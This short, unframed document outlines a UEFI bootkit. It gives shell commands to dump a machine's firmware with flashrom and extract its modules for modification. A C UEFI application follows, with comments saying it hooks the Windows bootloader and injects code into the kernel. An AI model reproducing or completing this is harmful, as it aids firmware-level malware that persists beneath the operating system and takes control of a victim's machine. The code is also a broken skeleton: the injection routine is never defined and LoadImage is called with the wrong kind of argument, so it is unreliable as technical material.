#check firmware

sudo dmidecode -t bios

#dump uefi

sudo flashrom -p internal -r bios\_backup.bin

#extract modules and for modification

uefi-firmware-parser bios\_backup.bin

#include <efi.h>

#include <efilib.h>

EFI\_STATUS EFIAPI UefiMain(EFI\_HANDLE ImageHandle, EFI\_SYSTEM\_TABLE \*SystemTable) {

InitializeLib(ImageHandle, SystemTable);

// Hook Windows Bootloader

CHAR16 \*BootLoader = L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi";

SystemTable->BootServices->LoadImage(FALSE, ImageHandle, BootLoader, NULL, 0, NULL);

// Inject Code into Kernel

InjectCodeIntoKernel();

return EFI\_SUCCESS;

}